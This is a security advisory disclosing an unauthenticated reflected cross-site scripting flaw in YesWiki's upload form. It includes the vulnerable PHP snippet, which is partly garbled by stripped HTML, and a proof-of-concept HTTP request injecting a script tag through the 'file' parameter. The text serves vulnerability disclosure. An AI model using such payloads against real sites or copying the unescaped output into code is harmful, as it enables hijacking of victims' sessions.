GHSA-2f8p-qqx2-gwr2 YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting

• Packagist yeswiki/yeswiki: <= 4.5.3 (no fix yet)

Summary Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication This Proof of Concept has been performed using the followings: • YesWiki v4.5.3 (doryphore-dev branch) • Docker environnment (docker/docker-compose.yml) Vulnerable code The vulnerability is located in the file ``` public function showUploadForm() { $this->file = $_GET['file']; echo '' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "\n"; echo 'wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n" . ' wiki->GetPageTag() . "/upload\" />\n" . ' attachConfig['max_file_size'] . "\" />\n" . " file\" />\n" . " \n" . ' \n" . "\n"; } ``` PoC 1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution ``` GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: localhost:8085 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: ru-RU,ru;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive ``` 2. Get a response Impact This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions